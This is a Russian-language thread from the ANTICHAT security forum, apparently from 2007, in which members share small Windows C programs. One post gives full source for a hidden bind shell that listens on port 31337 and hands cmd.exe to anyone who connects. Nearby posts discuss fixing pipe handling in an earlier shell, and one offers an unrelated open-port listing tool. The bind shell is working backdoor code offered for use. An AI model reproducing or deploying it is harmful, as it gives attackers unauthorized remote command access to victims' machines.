HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 06.08.2007, 04:05
f04c3
Новичок
Регистрация: 15.07.2007
Сообщений: 16
Провел на форуме:
32430

Репутация: 3
По умолчанию

Там где ты проверяешь трубу тоесть KePeekNamedPipe там нада сделать в цыкле потому что мах обем с трубы 0xFFF (4095) а если больше то не весь буфер передаст ну короче (зайди этим шелом в system32 например )
 
Ответить с цитированием

  #2  
Старый 08.08.2007, 16:11
Gargulia
Banned
Регистрация: 22.06.2007
Сообщений: 7
Провел на форуме:
19346

Репутация: -24
По умолчанию

а можно чуть чуть подробнее ато не совсем догоняю... и это у тебя компилицца? ато у меня совсем что то не то.........
 
Ответить с цитированием

  #3  
Старый 17.09.2007, 13:06
sn0w
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме:
1290766

Репутация: 1236


По умолчанию

Цитата:
Сообщение от f04c3  
Там где ты проверяешь трубу тоесть KePeekNamedPipe там нада сделать в цыкле потому что мах обем с трубы 0xFFF (4095) а если больше то не весь буфер передаст ну короче (зайди этим шелом в system32 например )

вот скомпиль и зайди а потом комменть
__________________


snow white world wide
 
Ответить с цитированием

  #4  
Старый 17.09.2007, 13:19
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536

Репутация: 932


Отправить сообщение для Ky3bMu4 с помощью ICQ
По умолчанию

Mini-bindshell-2 (с реконнектом)
Теже 2кб на выходе.
Код:
#include "winsock2.h"
#pragma comment(linker,"/SECTION:.text,EWR") 
#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment( linker, "/defaultlib:ws2_32.lib" )
DWORD WINAPI ClientURA(HANDLE HCmd);
DWORD WINAPI ClientURA(
  HANDLE HCmd
)
{
     STARTUPINFO st; 
     PROCESS_INFORMATION pt;

     
          st.cb = sizeof(STARTUPINFO);
          st.lpReserved = NULL;
          st.lpTitle = NULL;
          st.lpDesktop = NULL;
          st.lpReserved2 = NULL;
          st.cbReserved2 = 0;
          st.wShowWindow = SW_HIDE;
          st.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
          st.hStdInput = HCmd;
          st.hStdOutput = HCmd;
          st.hStdError = HCmd;
          CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&st,&pt);
          CloseHandle(HCmd);
          CloseHandle(pt.hProcess);
          CloseHandle(pt.hThread);
     return 0;
}
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){
     int sock;
     SOCKET AcceptS;
     struct sockaddr_in s;
     WSADATA wsa;
     WSAStartup( MAKEWORD( 2, 2 ), &wsa );
     sock = WSASocketA(PF_INET,SOCK_STREAM,0,NULL,0,0);
     s.sin_family = AF_INET;
     s.sin_addr.s_addr = htonl( INADDR_ANY);
     s.sin_port = htons( 31337 );
     bind(sock,(SOCKADDR*)&s,sizeof(s));
	int i;
	char type[2], buf[126];
     listen( sock, 0 );
     while (1){
		  AcceptS = accept(sock,NULL,NULL);
 CreateThread( NULL, 0,
               (LPTHREAD_START_ROUTINE)ClientURA,
               (LPVOID)AcceptS,
               NULL, NULL );
		 
		  
	 }
     return 0;
		}
 
Ответить с цитированием

  #5  
Старый 09.12.2007, 13:23
4nob1oz
Познающий
Регистрация: 09.07.2007
Сообщений: 42
Провел на форуме:
88752

Репутация: 72
По умолчанию

Меня знакомый недавно просил как смотреть открытые порты, как я ему не объяснял он так и не смог посмотреть их Накодил прогу ему быстренько. Показывает открытые TCP и UDP порты на машине с процессом который сообтвествует открытому порту.

Не пинайте за то что так всё криво и лишние хедеры висят, мне лень править. Да и процессы тоже криво определяет по pid ну короче может кому то и сгодится.

Код:
#include <Winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <Iphlpapi.h>
#include <conio.h>
#include <Tlhelp32.h>
#include <psapi.h>

#pragma comment ( lib, "Iphlpapi.lib" )
#pragma comment ( lib, "Ws2_32.lib" )
#pragma comment ( lib, "psapi.lib" )

typedef struct _MIB_TCPROW_EX
{
DWORD dwState; // MIB_TCP_STATE_*
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwRemoteAddr;
DWORD dwRemotePort;
DWORD dwProcessId;
} MIB_TCPROW_EX, *PMIB_TCPROW_EX;

typedef struct _MIB_TCPTABLE_EX
{
DWORD dwNumEntries;
MIB_TCPROW_EX table[ANY_SIZE];
} MIB_TCPTABLE_EX, *PMIB_TCPTABLE_EX;

typedef struct _MIB_UDPROW_EX
{
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwProcessId;
} MIB_UDPROW_EX, *PMIB_UDPROW_EX;

typedef struct _MIB_UDPTABLE_EX
{
DWORD dwNumEntries;
MIB_UDPROW_EX table[ANY_SIZE];
} MIB_UDPTABLE_EX, *PMIB_UDPTABLE_EX;

typedef DWORD (WINAPI *PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)(PMIB_TCPTABLE_EX*,BOOL,HANDLE,DWORD,DWORD);
PROCALLOCATEANDGETTCPEXTABLEFROMSTACK lpfnAllocateAndGetTcpExTableFromStack = NULL;

typedef DWORD (WINAPI *PROCALLOCATEANDGETUDPEXTABLEFROMSTACK)(PMIB_UDPTABLE_EX*,BOOL,HANDLE,DWORD,DWORD);
PROCALLOCATEANDGETUDPEXTABLEFROMSTACK lpfnAllocateAndGetUdpExTableFromStack = NULL;

TCHAR *PrintProcessNameAndID( DWORD processID )
{
   	TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
    // Get a handle to the process.
    HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );
    // Get the process name.
    if (NULL != hProcess )
    {
        HMODULE hMod;
        DWORD cbNeeded;

        if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
        {
            GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) );
        }
    }

    CloseHandle( hProcess );
		
	return (TCHAR *)&szProcessName;
}

int main()
{
	PMIB_TCPTABLE_EX pTcpTableEx;
	PMIB_UDPTABLE_EX pUdpTableEx;
	DWORD dwSize = 0,dwSizeUDP = 0;
	DWORD i = 0,j = 0;
	DWORD dwTcpErr,dwUdpErr;
	DWORD pid;
	char *ip_ptr,*ip_udp_ptr;
	unsigned short *port_ptr,*port_udp_ptr;
	HMODULE hMudule;
	
	hMudule = LoadLibrary("Iphlpapi.dll");

	if(hMudule == NULL) return 0;

	lpfnAllocateAndGetTcpExTableFromStack = (PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)GetProcAddress(hMudule,"AllocateAndGetTcpExTableFromStack");
	lpfnAllocateAndGetUdpExTableFromStack = (PROCALLOCATEANDGETUDPEXTABLEFROMSTACK)GetProcAddress(hMudule,"AllocateAndGetUdpExTableFromStack");

	if (lpfnAllocateAndGetTcpExTableFromStack == NULL) return 0;
	if (lpfnAllocateAndGetUdpExTableFromStack == NULL) return 0;

	pTcpTableEx = (MIB_TCPTABLE_EX *) malloc(sizeof(MIB_TCPTABLE_EX));
	if(pTcpTableEx == NULL){ printf("Can't allocate memory."); GlobalFree(pTcpTableEx); }

	pUdpTableEx = (MIB_UDPTABLE_EX *) malloc(sizeof(MIB_UDPTABLE_EX));
	if(pUdpTableEx == NULL){ printf("Can't allocate memory."); GlobalFree(pUdpTableEx); }

	dwTcpErr = lpfnAllocateAndGetTcpExTableFromStack(&pTcpTableEx,TRUE,GetProcessHeap(),0,2);
	dwUdpErr = lpfnAllocateAndGetUdpExTableFromStack(&pUdpTableEx,TRUE,GetProcessHeap(),0,2);
	
	if(dwTcpErr == ERROR_SUCCESS)
	{
		printf("\n\nOpened TCP Ports\n");
		printf("----------------\n\n");
		for(i=0; i<pTcpTableEx->dwNumEntries;i++)
		{
			ip_ptr = (char *)&pTcpTableEx->table[i].dwLocalAddr;
			port_ptr = (unsigned short *)&pTcpTableEx->table[i].dwLocalPort;
			pid = pTcpTableEx->table[i].dwProcessId;
			if(pid == 4)
			{
			printf("%s:%ld <---> System\n",inet_ntoa(*(struct in_addr *)ip_ptr),htons(*port_ptr));
			}
			else
			{
				printf("%s:%ld <---> %s\n",inet_ntoa(*(struct in_addr *)ip_ptr),htons(*port_ptr),PrintProcessNameAndID(pid));
			}
		}
	}

	if(dwUdpErr == ERROR_SUCCESS)
	{
		printf("\n\nOpened UDP Ports\n");
		printf("----------------\n\n");
		for(i=0; i<pUdpTableEx->dwNumEntries;i++)
		{
			ip_udp_ptr = (char *)&pUdpTableEx->table[i].dwLocalAddr;
			port_udp_ptr = (unsigned short *)&pUdpTableEx->table[i].dwLocalPort;
			pid = pUdpTableEx->table[i].dwProcessId;
			if(pid == 4)
			{
			printf("%s:%ld <---> System\n",inet_ntoa(*(struct in_addr *)ip_udp_ptr),htons(*port_udp_ptr));
			}
			else
			{
				printf("%s:%ld <---> %s\n",inet_ntoa(*(struct in_addr *)ip_udp_ptr),htons(*port_udp_ptr),PrintProcessNameAndID(pid));
			}
		}
	}

	printf("\n\nPress any key to exit...");
	_getch();

	return 0;
}
 
Ответить с цитированием

  #6  
Старый 09.12.2007, 14:17
Jes
Постоянный
Регистрация: 16.04.2007
Сообщений: 398
Провел на форуме:
3371897

Репутация: 1462
По умолчанию

4nob1oz < а причем тут шелЪ?
 
Ответить с цитированием

  #7  
Старый 09.12.2007, 15:30
4nob1oz
Познающий
Регистрация: 09.07.2007
Сообщений: 42
Провел на форуме:
88752

Репутация: 72
По умолчанию

Блин а я думал просто опенсорс. Выкладываем проекты. Ну ладно потрут и перенесут я думаю

Прогнал немного
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ